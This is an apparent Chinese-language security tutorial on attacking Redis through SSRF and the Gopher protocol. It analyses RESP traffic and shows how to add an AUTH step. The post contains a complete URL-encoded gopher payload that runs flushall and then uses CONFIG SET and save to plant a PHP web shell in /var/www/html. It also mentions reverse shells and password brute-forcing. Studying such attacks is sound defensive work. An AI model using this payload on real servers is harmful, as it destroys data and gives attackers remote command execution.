SSRF&Gopher协议
最近研究通过Gopher协议构造post,get请求来攻击内网的一些服务。遂继续研究Gopher协议,Gopher协议不仅可以进行post,get请求的修改,还能构造TCP数据流攻击一些内网的服务。如redis,mysql等。这次分析通过SSRF和Gopher协议攻击redis,以及对攻击原理进行分析。
未授权的Redis
未授权redis服务即不需要密码即可使用的redis服务,这种暴露在网络中而且不需要授权的服务非常危险,可以直接构造payload执行文件写入,反弹shell等危险操作。
安装redis后使用root用户启动。(手动关闭redis后重新使用redis-server命令启动,不然默是redis用户,没有文件写入权限)
使用工具生成payload,直接打。
成功写入:
流量包分析
抓出攻击流量包进行流量分析
1 | tcpdump -i eth0 port 6379 -W 1234.pcap |
流量包结构如上,redis使用了RESP协议进行通信的。该协议内容如下:
截取了流量包前半部分分条解析RESP协议
1 | *1//接下来将会有1个数组数据 |
可以看到,如果我要发送一个字符串flushall到redis,就得进行如下编码。
*1\r\n$8\r\nflushall\r\n
*1,$8,flushall都是协议的不同部分,所以他们之前都需要使用CRLF(\r\n)进行分割
Redis授权访问
既然Redis可以通过RESP协议进行通信,那我们只要解析出redis登录的时候发送的报文,那么就可以在知道密码的情况下使用gopher协议进行攻击或者攥写脚本进行简单的密码爆破。
首先抓包分析redis登录过程
可以看到登录过程中发送的报文,auth字段后面跟密码。
1 | *2 |
而且,redis支持管道操作,可以通过单个写入操作发送多个命令,不需要再发出下一个命令之前读取上一个命令服务器的恢复。所有的回复都可以在最后阅读。所以,即使redis存在认证同样可以进行攻击。在刚刚的未授权数据包前加上授权字段即可以正常攻击
我们重新在payload前加上我们编码过的满足gopher协议的:
1 | %2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A |
最终payload:
1 | gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
攻击成功:
流量细节:
既然可以通过构造验证包进行请求,redis速度也非常快,那么一些不太安全的密码可能会存在被暴力破解的可能。本篇文章在这方面不做研究。